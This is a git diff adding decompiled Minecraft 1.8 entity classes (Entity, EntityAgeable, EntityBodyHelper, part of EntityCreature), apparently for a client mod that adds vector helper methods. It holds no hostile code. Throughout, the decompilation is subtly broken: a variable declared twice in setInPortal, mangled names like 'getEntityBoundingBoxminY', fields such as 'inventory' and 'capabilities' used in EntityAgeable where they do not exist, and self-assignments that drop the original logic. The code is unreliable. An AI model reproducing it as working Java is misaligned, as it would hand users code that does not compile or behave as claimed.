+  {
+    return dropItemWithOffset(itemIn, size, 0.0F);
+  }
+  
+  public EntityItem dropItemWithOffset(Item itemIn, int size, float p_145778_3_)
+  {
+    return entityDropItem(new ItemStack(itemIn, size, 0), p_145778_3_);
+  }
+  
+
+
+
+  public EntityItem entityDropItem(ItemStack itemStackIn, float offsetY)
+  {
+    if ((stackSize != 0) && (itemStackIn.getItem() != null))
+    {
+      EntityItem var3 = new EntityItem(worldObj, posX, posY + offsetY, posZ, itemStackIn);
+      var3.setDefaultPickupDelay();
+      worldObj.spawnEntityInWorld(var3);
+      return var3;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public boolean isEntityAlive()
+  {
+    return !isDead;
+  }
+  
+
+
+
+  public boolean isEntityInsideOpaqueBlock()
+  {
+    if (noClip)
+    {
+      return false;
+    }
+    
+
+    for (int var1 = 0; var1 < 8; var1++)
+    {
+      double var2 = posX + ((var1 >> 0) % 2 - 0.5F) * width * 0.8F;
+      double var4 = posY + ((var1 >> 1) % 2 - 0.5F) * 0.1F;
+      double var6 = posZ + ((var1 >> 2) % 2 - 0.5F) * width * 0.8F;
+      
+      if (worldObj.getBlockState(new BlockPos(var2, var4 + getEyeHeight(), var6)).getBlock().isVisuallyOpaque())
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public boolean interactFirst(EntityPlayer playerIn)
+  {
+    return false;
+  }
+  
+
+
+
+
+  public AxisAlignedBB getCollisionBox(Entity entityIn)
+  {
+    return null;
+  }
+  
+
+
+
+  public void updateRidden()
+  {
+    if (ridingEntity.isDead)
+    {
+      ridingEntity = null;
+    }
+    else
+    {
+      motionX = 0.0D;
+      motionY = 0.0D;
+      motionZ = 0.0D;
+      onUpdate();
+      
+      if (ridingEntity != null)
+      {
+        ridingEntity.updateRiderPosition();
+        entityRiderYawDelta += ridingEntity.rotationYaw - ridingEntity.prevRotationYaw;
+        
+        for (entityRiderPitchDelta += ridingEntity.rotationPitch - ridingEntity.prevRotationPitch; entityRiderYawDelta >= 180.0D; entityRiderYawDelta -= 360.0D) {}
+        
+
+
+
+        while (entityRiderYawDelta < -180.0D)
+        {
+          entityRiderYawDelta += 360.0D;
+        }
+        
+        while (entityRiderPitchDelta >= 180.0D)
+        {
+          entityRiderPitchDelta -= 360.0D;
+        }
+        
+        while (entityRiderPitchDelta < -180.0D)
+        {
+          entityRiderPitchDelta += 360.0D;
+        }
+        
+        double var1 = entityRiderYawDelta * 0.5D;
+        double var3 = entityRiderPitchDelta * 0.5D;
+        float var5 = 10.0F;
+        
+        if (var1 > var5)
+        {
+          var1 = var5;
+        }
+        
+        if (var1 < -var5)
+        {
+          var1 = -var5;
+        }
+        
+        if (var3 > var5)
+        {
+          var3 = var5;
+        }
+        
+        if (var3 < -var5)
+        {
+          var3 = -var5;
+        }
+        
+        entityRiderYawDelta -= var1;
+        entityRiderPitchDelta -= var3;
+      }
+    }
+  }
+  
+  public void updateRiderPosition()
+  {
+    if (riddenByEntity != null)
+    {
+      riddenByEntity.setPosition(posX, posY + getMountedYOffset() + riddenByEntity.getYOffset(), posZ);
+    }
+  }
+  
+
+
+
+  public double getYOffset()
+  {
+    return 0.0D;
+  }
+  
+
+
+
+  public double getMountedYOffset()
+  {
+    return height * 0.75D;
+  }
+  
+
+
+
+  public void mountEntity(Entity entityIn)
+  {
+    entityRiderPitchDelta = 0.0D;
+    entityRiderYawDelta = 0.0D;
+    
+    if (entityIn == null)
+    {
+      if (ridingEntity != null)
+      {
+        setLocationAndAngles(ridingEntity.posX, ridingEntity.getEntityBoundingBox().minY + ridingEntity.height, ridingEntity.posZ, rotationYaw, rotationPitch);
+        ridingEntity.riddenByEntity = null;
+      }
+      
+      ridingEntity = null;
+    }
+    else
+    {
+      if (ridingEntity != null)
+      {
+        ridingEntity.riddenByEntity = null;
+      }
+      
+      if (entityIn != null)
+      {
+        for (Entity var2 = ridingEntity; var2 != null; var2 = ridingEntity)
+        {
+          if (var2 == this)
+          {
+            return;
+          }
+        }
+      }
+      
+      ridingEntity = entityIn;
+      riddenByEntity = this;
+    }
+  }
+  
+  public void func_180426_a(double p_180426_1_, double p_180426_3_, double p_180426_5_, float p_180426_7_, float p_180426_8_, int p_180426_9_, boolean p_180426_10_)
+  {
+    setPosition(p_180426_1_, p_180426_3_, p_180426_5_);
+    setRotation(p_180426_7_, p_180426_8_);
+    List var11 = worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox().contract(0.03125D, 0.0D, 0.03125D));
+    
+    if (!var11.isEmpty())
+    {
+      double var12 = 0.0D;
+      Iterator var14 = var11.iterator();
+      
+      while (var14.hasNext())
+      {
+        AxisAlignedBB var15 = (AxisAlignedBB)var14.next();
+        
+        if (maxY > var12)
+        {
+          var12 = maxY;
+        }
+      }
+      
+      p_180426_3_ += var12 - getEntityBoundingBoxminY;
+      setPosition(p_180426_1_, p_180426_3_, p_180426_5_);
+    }
+  }
+  
+  public float getCollisionBorderSize()
+  {
+    return 0.1F;
+  }
+  
+
+
+
+  public Vec3 getLookVec()
+  {
+    return null;
+  }
+  
+
+
+
+  public void setInPortal()
+  {
+    if (timeUntilPortal > 0)
+    {
+      timeUntilPortal = getPortalCooldown();
+    }
+    else
+    {
+      double var1 = prevPosX - posX;
+      double var3 = prevPosZ - posZ;
+      
+      if ((!worldObj.isRemote) && (!inPortal))
+      {
+        int var5;
+        int var5;
+        if (MathHelper.abs((float)var1) > MathHelper.abs((float)var3))
+        {
+          var5 = var1 > 0.0D ? EnumFacing.WEST.getHorizontalIndex() : EnumFacing.EAST.getHorizontalIndex();
+        }
+        else
+        {
+          var5 = var3 > 0.0D ? EnumFacing.NORTH.getHorizontalIndex() : EnumFacing.SOUTH.getHorizontalIndex();
+        }
+        
+        teleportDirection = var5;
+      }
+      
+      inPortal = true;
+    }
+  }
+  
+
+
+
+  public int getPortalCooldown()
+  {
+    return 300;
+  }
+  
+
+
+
+  public void setVelocity(double x, double y, double z)
+  {
+    motionX = x;
+    motionY = y;
+    motionZ = z;
+  }
+  
+
+
+  public void handleHealthUpdate(byte p_70103_1_) {}
+  
+
+
+  public void performHurtAnimation() {}
+  
+
+
+  public ItemStack[] getInventory()
+  {
+    return null;
+  }
+  
+
+
+
+  public void setCurrentItemOrArmor(int slotIn, ItemStack itemStackIn) {}
+  
+
+
+
+  public boolean isBurning()
+  {
+    boolean var1 = (worldObj != null) && (worldObj.isRemote);
+    return (!isImmuneToFire) && ((fire > 0) || ((var1) && (getFlag(0))));
+  }
+  
+
+
+
+
+  public boolean isRiding()
+  {
+    return ridingEntity != null;
+  }
+  
+
+
+
+  public boolean isSneaking()
+  {
+    return getFlag(1);
+  }
+  
+
+
+
+  public void setSneaking(boolean sneaking)
+  {
+    setFlag(1, sneaking);
+  }
+  
+
+
+
+  public boolean isSprinting()
+  {
+    return getFlag(3);
+  }
+  
+
+
+
+  public void setSprinting(boolean sprinting)
+  {
+    setFlag(3, sprinting);
+  }
+  
+  public boolean isInvisible()
+  {
+    return getFlag(5);
+  }
+  
+
+
+
+
+
+  public boolean isInvisibleToPlayer(EntityPlayer playerIn)
+  {
+    return playerIn.func_175149_v() ? false : isInvisible();
+  }
+  
+  public void setInvisible(boolean invisible)
+  {
+    setFlag(5, invisible);
+  }
+  
+  public boolean isEating()
+  {
+    return getFlag(4);
+  }
+  
+  public void setEating(boolean eating)
+  {
+    setFlag(4, eating);
+  }
+  
+
+
+
+
+  protected boolean getFlag(int flag)
+  {
+    return (dataWatcher.getWatchableObjectByte(0) & 1 << flag) != 0;
+  }
+  
+
+
+
+  protected void setFlag(int flag, boolean set)
+  {
+    byte var3 = dataWatcher.getWatchableObjectByte(0);
+    
+    if (set)
+    {
+      dataWatcher.updateObject(0, Byte.valueOf((byte)(var3 | 1 << flag)));
+    }
+    else
+    {
+      dataWatcher.updateObject(0, Byte.valueOf((byte)(var3 & (1 << flag ^ 0xFFFFFFFF))));
+    }
+  }
+  
+  public int getAir()
+  {
+    return dataWatcher.getWatchableObjectShort(1);
+  }
+  
+  public void setAir(int air)
+  {
+    dataWatcher.updateObject(1, Short.valueOf((short)air));
+  }
+  
+
+
+
+  public void onStruckByLightning(EntityLightningBolt lightningBolt)
+  {
+    attackEntityFrom(DamageSource.field_180137_b, 5.0F);
+    fire += 1;
+    
+    if (fire == 0)
+    {
+      setFire(8);
+    }
+  }
+  
+
+
+  public void onKillEntity(EntityLivingBase entityLivingIn) {}
+  
+
+  protected boolean pushOutOfBlocks(double x, double y, double z)
+  {
+    BlockPos var7 = new BlockPos(x, y, z);
+    double var8 = x - var7.getX();
+    double var10 = y - var7.getY();
+    double var12 = z - var7.getZ();
+    List var14 = worldObj.func_147461_a(getEntityBoundingBox());
+    
+    if ((var14.isEmpty()) && (!worldObj.func_175665_u(var7)))
+    {
+      return false;
+    }
+    
+
+    byte var15 = 3;
+    double var16 = 9999.0D;
+    
+    if ((!worldObj.func_175665_u(var7.offsetWest())) && (var8 < var16))
+    {
+      var16 = var8;
+      var15 = 0;
+    }
+    
+    if ((!worldObj.func_175665_u(var7.offsetEast())) && (1.0D - var8 < var16))
+    {
+      var16 = 1.0D - var8;
+      var15 = 1;
+    }
+    
+    if ((!worldObj.func_175665_u(var7.offsetUp())) && (1.0D - var10 < var16))
+    {
+      var16 = 1.0D - var10;
+      var15 = 3;
+    }
+    
+    if ((!worldObj.func_175665_u(var7.offsetNorth())) && (var12 < var16))
+    {
+      var16 = var12;
+      var15 = 4;
+    }
+    
+    if ((!worldObj.func_175665_u(var7.offsetSouth())) && (1.0D - var12 < var16))
+    {
+      var16 = 1.0D - var12;
+      var15 = 5;
+    }
+    
+    float var18 = rand.nextFloat() * 0.2F + 0.1F;
+    
+    if (var15 == 0)
+    {
+      motionX = (-var18);
+    }
+    
+    if (var15 == 1)
+    {
+      motionX = var18;
+    }
+    
+    if (var15 == 3)
+    {
+      motionY = var18;
+    }
+    
+    if (var15 == 4)
+    {
+      motionZ = (-var18);
+    }
+    
+    if (var15 == 5)
+    {
+      motionZ = var18;
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public void setInWeb()
+  {
+    isInWeb = true;
+    fallDistance = 0.0F;
+  }
+  
+
+
+
+  public String getName()
+  {
+    if (hasCustomName())
+    {
+      return getCustomNameTag();
+    }
+    
+
+    String var1 = EntityList.getEntityString(this);
+    
+    if (var1 == null)
+    {
+      var1 = "generic";
+    }
+    
+    return net.minecraft.util.StatCollector.translateToLocal("entity." + var1 + ".name");
+  }
+  
+
+
+
+
+  public Entity[] getParts()
+  {
+    return null;
+  }
+  
+
+
+
+  public boolean isEntityEqual(Entity entityIn)
+  {
+    return this == entityIn;
+  }
+  
+  public float getRotationYawHead()
+  {
+    return 0.0F;
+  }
+  
+
+
+
+  public void setRotationYawHead(float rotation) {}
+  
+
+
+
+  public boolean canAttackWithItem()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean hitByEntity(Entity entityIn)
+  {
+    return false;
+  }
+  
+  public String toString()
+  {
+    return String.format("%s['%s'/%d, l='%s', x=%.2f, y=%.2f, z=%.2f]", new Object[] { getClass().getSimpleName(), getName(), Integer.valueOf(entityId), worldObj == null ? "~NULL~" : worldObj.getWorldInfo().getWorldName(), Double.valueOf(posX), Double.valueOf(posY), Double.valueOf(posZ) });
+  }
+  
+  public boolean func_180431_b(DamageSource p_180431_1_)
+  {
+    return (invulnerable) && (p_180431_1_ != DamageSource.outOfWorld) && (!p_180431_1_.func_180136_u());
+  }
+  
+
+
+
+  public void copyLocationAndAnglesFrom(Entity entityIn)
+  {
+    setLocationAndAngles(posX, posY, posZ, rotationYaw, rotationPitch);
+  }
+  
+  public void func_180432_n(Entity p_180432_1_)
+  {
+    NBTTagCompound var2 = new NBTTagCompound();
+    p_180432_1_.writeToNBT(var2);
+    readFromNBT(var2);
+    timeUntilPortal = timeUntilPortal;
+    teleportDirection = teleportDirection;
+  }
+  
+
+
+
+  public void travelToDimension(int dimensionId)
+  {
+    if ((!worldObj.isRemote) && (!isDead))
+    {
+      worldObj.theProfiler.startSection("changeDimension");
+      MinecraftServer var2 = MinecraftServer.getServer();
+      int var3 = dimension;
+      WorldServer var4 = var2.worldServerForDimension(var3);
+      WorldServer var5 = var2.worldServerForDimension(dimensionId);
+      dimension = dimensionId;
+      
+      if ((var3 == 1) && (dimensionId == 1))
+      {
+        var5 = var2.worldServerForDimension(0);
+        dimension = 0;
+      }
+      
+      worldObj.removeEntity(this);
+      isDead = false;
+      worldObj.theProfiler.startSection("reposition");
+      var2.getConfigurationManager().transferEntityToWorld(this, var3, var4, var5);
+      worldObj.theProfiler.endStartSection("reloading");
+      Entity var6 = EntityList.createEntityByName(EntityList.getEntityString(this), var5);
+      
+      if (var6 != null)
+      {
+        var6.func_180432_n(this);
+        
+        if ((var3 == 1) && (dimensionId == 1))
+        {
+          BlockPos var7 = worldObj.func_175672_r(var5.getSpawnPoint());
+          var6.func_174828_a(var7, rotationYaw, rotationPitch);
+        }
+        
+        var5.spawnEntityInWorld(var6);
+      }
+      
+      isDead = true;
+      worldObj.theProfiler.endSection();
+      var4.resetUpdateEntityTick();
+      var5.resetUpdateEntityTick();
+      worldObj.theProfiler.endSection();
+    }
+  }
+  
+
+
+
+  public float getExplosionResistance(Explosion p_180428_1_, World worldIn, BlockPos p_180428_3_, IBlockState p_180428_4_)
+  {
+    return p_180428_4_.getBlock().getExplosionResistance(this);
+  }
+  
+  public boolean func_174816_a(Explosion p_174816_1_, World worldIn, BlockPos p_174816_3_, IBlockState p_174816_4_, float p_174816_5_)
+  {
+    return true;
+  }
+  
+
+
+
+  public int getMaxFallHeight()
+  {
+    return 3;
+  }
+  
+  public int getTeleportDirection()
+  {
+    return teleportDirection;
+  }
+  
+
+
+
+  public boolean doesEntityNotTriggerPressurePlate()
+  {
+    return false;
+  }
+  
+  public void addEntityCrashInfo(CrashReportCategory category)
+  {
+    category.addCrashSectionCallable("Entity Type", new Callable()
+    {
+      private static final String __OBFID = "CL_00001534";
+      
+      public String call() {
+        return EntityList.getEntityString(Entity.this) + " (" + getClass().getCanonicalName() + ")";
+      }
+    });
+    category.addCrashSection("Entity ID", Integer.valueOf(entityId));
+    category.addCrashSectionCallable("Entity Name", new Callable()
+    {
+      private static final String __OBFID = "CL_00001535";
+      
+      public String call() {
+        return getName();
+      }
+    });
+    category.addCrashSection("Entity's Exact location", String.format("%.2f, %.2f, %.2f", new Object[] { Double.valueOf(posX), Double.valueOf(posY), Double.valueOf(posZ) }));
+    category.addCrashSection("Entity's Block location", CrashReportCategory.getCoordinateInfo(MathHelper.floor_double(posX), MathHelper.floor_double(posY), MathHelper.floor_double(posZ)));
+    category.addCrashSection("Entity's Momentum", String.format("%.2f, %.2f, %.2f", new Object[] { Double.valueOf(motionX), Double.valueOf(motionY), Double.valueOf(motionZ) }));
+    category.addCrashSectionCallable("Entity's Rider", new Callable()
+    {
+      private static final String __OBFID = "CL_00002259";
+      
+      public String func_180118_a() {
+        return riddenByEntity.toString();
+      }
+      
+      public Object call() {
+        return func_180118_a();
+      }
+    });
+    category.addCrashSectionCallable("Entity's Vehicle", new Callable()
+    {
+      private static final String __OBFID = "CL_00002258";
+      
+      public String func_180116_a() {
+        return ridingEntity.toString();
+      }
+      
+      public Object call() {
+        return func_180116_a();
+      }
+    });
+  }
+  
+
+
+
+  public boolean canRenderOnFire()
+  {
+    return isBurning();
+  }
+  
+  public UUID getUniqueID()
+  {
+    return entityUniqueID;
+  }
+  
+  public boolean isPushedByWater()
+  {
+    return true;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    ChatComponentText var1 = new ChatComponentText(getName());
+    var1.getChatStyle().setChatHoverEvent(func_174823_aP());
+    var1.getChatStyle().setInsertion(getUniqueID().toString());
+    return var1;
+  }
+  
+
+
+
+  public void setCustomNameTag(String p_96094_1_)
+  {
+    dataWatcher.updateObject(2, p_96094_1_);
+  }
+  
+  public String getCustomNameTag()
+  {
+    return dataWatcher.getWatchableObjectString(2);
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return dataWatcher.getWatchableObjectString(2).length() > 0;
+  }
+  
+  public void setAlwaysRenderNameTag(boolean p_174805_1_)
+  {
+    dataWatcher.updateObject(3, Byte.valueOf((byte)(p_174805_1_ ? 1 : 0)));
+  }
+  
+  public boolean getAlwaysRenderNameTag()
+  {
+    return dataWatcher.getWatchableObjectByte(3) == 1;
+  }
+  
+
+
+
+  public void setPositionAndUpdate(double p_70634_1_, double p_70634_3_, double p_70634_5_)
+  {
+    setLocationAndAngles(p_70634_1_, p_70634_3_, p_70634_5_, rotationYaw, rotationPitch);
+  }
+  
+  public boolean getAlwaysRenderNameTagForRender()
+  {
+    return getAlwaysRenderNameTag();
+  }
+  
+  public void func_145781_i(int p_145781_1_) {}
+  
+  public EnumFacing func_174811_aO()
+  {
+    return EnumFacing.getHorizontal(MathHelper.floor_double(rotationYaw * 4.0F / 360.0F + 0.5D) & 0x3);
+  }
+  
+  protected HoverEvent func_174823_aP()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    String var2 = EntityList.getEntityString(this);
+    var1.setString("id", getUniqueID().toString());
+    
+    if (var2 != null)
+    {
+      var1.setString("type", var2);
+    }
+    
+    var1.setString("name", getName());
+    return new HoverEvent(HoverEvent.Action.SHOW_ENTITY, new ChatComponentText(var1.toString()));
+  }
+  
+  public boolean func_174827_a(EntityPlayerMP p_174827_1_)
+  {
+    return true;
+  }
+  
+  public AxisAlignedBB getEntityBoundingBox()
+  {
+    return boundingBox;
+  }
+  
+  public void func_174826_a(AxisAlignedBB p_174826_1_)
+  {
+    boundingBox = p_174826_1_;
+  }
+  
+  public float getEyeHeight()
+  {
+    return height * 0.85F;
+  }
+  
+  public boolean isOutsideBorder()
+  {
+    return isOutsideBorder;
+  }
+  
+  public void setOutsideBorder(boolean p_174821_1_)
+  {
+    isOutsideBorder = p_174821_1_;
+  }
+  
+  public boolean func_174820_d(int p_174820_1_, ItemStack p_174820_2_)
+  {
+    return false;
+  }
+  
+
+
+
+
+
+  public void addChatMessage(IChatComponent message) {}
+  
+
+
+
+
+  public boolean canCommandSenderUseCommand(int permissionLevel, String command)
+  {
+    return true;
+  }
+  
+  public BlockPos getPosition()
+  {
+    return new BlockPos(posX, posY + 0.5D, posZ);
+  }
+  
+  public Vec3 getPositionVector()
+  {
+    return new Vec3(posX, posY, posZ);
+  }
+  
+  public World getEntityWorld()
+  {
+    return worldObj;
+  }
+  
+  public Entity getCommandSenderEntity()
+  {
+    return this;
+  }
+  
+  public boolean sendCommandFeedback()
+  {
+    return false;
+  }
+  
+  public void func_174794_a(CommandResultStats.Type p_174794_1_, int p_174794_2_)
+  {
+    field_174837_as.func_179672_a(this, p_174794_1_, p_174794_2_);
+  }
+  
+  public CommandResultStats func_174807_aT()
+  {
+    return field_174837_as;
+  }
+  
+  public void func_174817_o(Entity p_174817_1_)
+  {
+    field_174837_as.func_179671_a(p_174817_1_.func_174807_aT());
+  }
+  
+  public NBTTagCompound func_174819_aU()
+  {
+    return null;
+  }
+  
+  public void func_174834_g(NBTTagCompound p_174834_1_) {}
+  
+  public boolean func_174825_a(EntityPlayer p_174825_1_, Vec3 p_174825_2_)
+  {
+    return false;
+  }
+  
+  public boolean func_180427_aV()
+  {
+    return false;
+  }
+  
+  protected void func_174815_a(EntityLivingBase p_174815_1_, Entity p_174815_2_)
+  {
+    if ((p_174815_2_ instanceof EntityLivingBase))
+    {
+      EnchantmentHelper.func_151384_a((EntityLivingBase)p_174815_2_, p_174815_1_);
+    }
+    
+    EnchantmentHelper.func_151385_b(p_174815_1_, p_174815_2_);
+  }
+  
+  public final Vec3f getPos() {
+    if (pos == null) {
+      pos = new Vec3f();
+    }
+    return pos.setX(posX).setY(posY).setZ(posZ);
+  }
+  
+  public final Vec3f getLastTickPos() {
+    if (lastTickPos == null) {
+      lastTickPos = new Vec3f();
+    }
+    return lastTickPos.setX(lastTickPosX).setY(lastTickPosY).setZ(lastTickPosZ);
+  }
+  
+  public final Vec2f getRotations() {
+    if (rotation == null) {
+      rotation = new Vec2f();
+    }
+    return rotation.setX(rotationYaw).setY(rotationPitch);
+  }
+  
+  public final Vec2f getPrevRotations() {
+    if (prevRotation == null) {
+      prevRotation = new Vec2f();
+    }
+    return prevRotation.setX(prevRotationYaw).setY(prevRotationPitch);
+  }
+  
+  public final Vec3f getMotion() {
+    if (motion == null) {
+      motion = new Vec3f();
+    }
+    return motion.setX(motionX).setY(motionY).setZ(motionZ);
+  }
+  
+  public final Vec3f interpolate(float ticks) {
+    return getLastTickPos().add(getPos().sub(getLastTickPos()).scale(ticks));
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityAgeable.java b/src/minecraft/net/minecraft/entity/EntityAgeable.java
new file mode 100644
index 0000000..9a4ad42
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityAgeable.java
@@ -0,0 +1,248 @@
+package net.minecraft.entity;
+
+import java.util.Random;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.World;
+
+public abstract class EntityAgeable extends EntityCreature
+{
+  protected int field_175504_a;
+  protected int field_175502_b;
+  protected int field_175503_c;
+  private float field_98056_d = -1.0F;
+  private float field_98057_e;
+  private static final String __OBFID = "CL_00001530";
+  
+  public EntityAgeable(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+
+
+  public abstract EntityAgeable createChild(EntityAgeable paramEntityAgeable);
+  
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if ((var2 != null) && (var2.getItem() == net.minecraft.init.Items.spawn_egg))
+    {
+      if (!worldObj.isRemote)
+      {
+        Class var3 = EntityList.getClassFromID(var2.getMetadata());
+        
+        if ((var3 != null) && (getClass() == var3))
+        {
+          EntityAgeable var4 = createChild(this);
+          
+          if (var4 != null)
+          {
+            var4.setGrowingAge(41536);
+            var4.setLocationAndAngles(posX, posY, posZ, 0.0F, 0.0F);
+            worldObj.spawnEntityInWorld(var4);
+            
+            if (var2.hasDisplayName())
+            {
+              var4.setCustomNameTag(var2.getDisplayName());
+            }
+            
+            if (!capabilities.isCreativeMode)
+            {
+              stackSize -= 1;
+              
+              if (stackSize <= 0)
+              {
+                inventory.setInventorySlotContents(inventory.currentItem, null);
+              }
+            }
+          }
+        }
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(12, Byte.valueOf((byte)0));
+  }
+  
+
+
+
+
+
+  public int getGrowingAge()
+  {
+    return worldObj.isRemote ? dataWatcher.getWatchableObjectByte(12) : field_175504_a;
+  }
+  
+  public void func_175501_a(int p_175501_1_, boolean p_175501_2_)
+  {
+    int var3 = getGrowingAge();
+    int var4 = var3;
+    var3 += p_175501_1_ * 20;
+    
+    if (var3 > 0)
+    {
+      var3 = 0;
+      
+      if (var4 < 0)
+      {
+        func_175500_n();
+      }
+    }
+    
+    int var5 = var3 - var4;
+    setGrowingAge(var3);
+    
+    if (p_175501_2_)
+    {
+      field_175502_b += var5;
+      
+      if (field_175503_c == 0)
+      {
+        field_175503_c = 40;
+      }
+    }
+    
+    if (getGrowingAge() == 0)
+    {
+      setGrowingAge(field_175502_b);
+    }
+  }
+  
+
+
+
+
+  public void addGrowth(int p_110195_1_)
+  {
+    func_175501_a(p_110195_1_, false);
+  }
+  
+
+
+
+
+  public void setGrowingAge(int p_70873_1_)
+  {
+    dataWatcher.updateObject(12, Byte.valueOf((byte)net.minecraft.util.MathHelper.clamp_int(p_70873_1_, -1, 1)));
+    field_175504_a = p_70873_1_;
+    setScaleForAge(isChild());
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("Age", getGrowingAge());
+    tagCompound.setInteger("ForcedAge", field_175502_b);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    setGrowingAge(tagCompund.getInteger("Age"));
+    field_175502_b = tagCompund.getInteger("ForcedAge");
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    super.onLivingUpdate();
+    
+    if (worldObj.isRemote)
+    {
+      if (field_175503_c > 0)
+      {
+        if (field_175503_c % 4 == 0)
+        {
+          worldObj.spawnParticle(net.minecraft.util.EnumParticleTypes.VILLAGER_HAPPY, posX + rand.nextFloat() * width * 2.0F - width, posY + 0.5D + rand.nextFloat() * height, posZ + rand.nextFloat() * width * 2.0F - width, 0.0D, 0.0D, 0.0D, new int[0]);
+        }
+        
+        field_175503_c -= 1;
+      }
+      
+      setScaleForAge(isChild());
+    }
+    else
+    {
+      int var1 = getGrowingAge();
+      
+      if (var1 < 0)
+      {
+        var1++;
+        setGrowingAge(var1);
+        
+        if (var1 == 0)
+        {
+          func_175500_n();
+        }
+      }
+      else if (var1 > 0)
+      {
+        var1--;
+        setGrowingAge(var1);
+      }
+    }
+  }
+  
+
+
+  protected void func_175500_n() {}
+  
+
+  public boolean isChild()
+  {
+    return getGrowingAge() < 0;
+  }
+  
+
+
+
+  public void setScaleForAge(boolean p_98054_1_)
+  {
+    setScale(p_98054_1_ ? 0.5F : 1.0F);
+  }
+  
+
+
+
+  protected final void setSize(float width, float height)
+  {
+    boolean var3 = field_98056_d > 0.0F;
+    field_98056_d = width;
+    field_98057_e = height;
+    
+    if (!var3)
+    {
+      setScale(1.0F);
+    }
+  }
+  
+  protected final void setScale(float p_98055_1_)
+  {
+    super.setSize(field_98056_d * p_98055_1_, field_98057_e * p_98055_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityBodyHelper.java b/src/minecraft/net/minecraft/entity/EntityBodyHelper.java
new file mode 100644
index 0000000..f56b6c0
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityBodyHelper.java
@@ -0,0 +1,81 @@
+package net.minecraft.entity;
+
+import net.minecraft.util.MathHelper;
+
+
+
+
+
+
+public class EntityBodyHelper
+{
+  private EntityLivingBase theLiving;
+  private int rotationTickCounter;
+  private float prevRenderYawHead;
+  private static final String __OBFID = "CL_00001570";
+  
+  public EntityBodyHelper(EntityLivingBase p_i1611_1_)
+  {
+    theLiving = p_i1611_1_;
+  }
+  
+
+
+
+  public void updateRenderAngles()
+  {
+    double var1 = theLiving.posX - theLiving.prevPosX;
+    double var3 = theLiving.posZ - theLiving.prevPosZ;
+    
+    if (var1 * var1 + var3 * var3 > 2.500000277905201E-7D)
+    {
+      theLiving.renderYawOffset = theLiving.rotationYaw;
+      theLiving.rotationYawHead = computeAngleWithBound(theLiving.renderYawOffset, theLiving.rotationYawHead, 75.0F);
+      prevRenderYawHead = theLiving.rotationYawHead;
+      rotationTickCounter = 0;
+    }
+    else
+    {
+      float var5 = 75.0F;
+      
+      if (Math.abs(theLiving.rotationYawHead - prevRenderYawHead) > 15.0F)
+      {
+        rotationTickCounter = 0;
+        prevRenderYawHead = theLiving.rotationYawHead;
+      }
+      else
+      {
+        rotationTickCounter += 1;
+        boolean var6 = true;
+        
+        if (rotationTickCounter > 10)
+        {
+          var5 = Math.max(1.0F - (rotationTickCounter - 10) / 10.0F, 0.0F) * 75.0F;
+        }
+      }
+      
+      theLiving.renderYawOffset = computeAngleWithBound(theLiving.rotationYawHead, theLiving.renderYawOffset, var5);
+    }
+  }
+  
+
+
+
+
+  private float computeAngleWithBound(float p_75665_1_, float p_75665_2_, float p_75665_3_)
+  {
+    float var4 = MathHelper.wrapAngleTo180_float(p_75665_1_ - p_75665_2_);
+    
+    if (var4 < -p_75665_3_)
+    {
+      var4 = -p_75665_3_;
+    }
+    
+    if (var4 >= p_75665_3_)
+    {
+      var4 = p_75665_3_;
+    }
+    
+    return p_75665_1_ - var4;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityCreature.java b/src/minecraft/net/minecraft/entity/EntityCreature.java
new file mode 100644
index 0000000..0395eb4
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityCreature.java
@@ -0,0 +1,164 @@
+package net.minecraft.entity;
+
+import java.util.UUID;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.passive.EntityTameable;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public abstract class EntityCreature extends EntityLiving
+{
+  public static final UUID field_110179_h = UUID.fromString("E199AD21-BA8A-4C53-8D13-6182D5C69D3A");
+  public static final AttributeModifier field_110181_i = new AttributeModifier(field_110179_h, "Fleeing speed bonus", 2.0D, 2).setSaved(false);
+  
+  private BlockPos homePosition;
+  
+  private float maximumHomeDistance;
+  private net.minecraft.entity.ai.EntityAIBase aiBase;
+  private boolean field_110180_bt;
+  private static final String __OBFID = "CL_00001558";
+  
+  public EntityCreature(World worldIn)
+  {
+    super(worldIn);
+    homePosition = BlockPos.ORIGIN;
+    maximumHomeDistance = -1.0F;
+    aiBase = new net.minecraft.entity.ai.EntityAIMoveTowardsRestriction(this, 1.0D);
+  }
+  
+  public float func_180484_a(BlockPos p_180484_1_)
+  {
+    return 0.0F;
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    return (super.getCanSpawnHere()) && (func_180484_a(new BlockPos(posX, getEntityBoundingBoxminY, posZ)) >= 0.0F);
+  }
+  
+
+
+
+  public boolean hasPath()
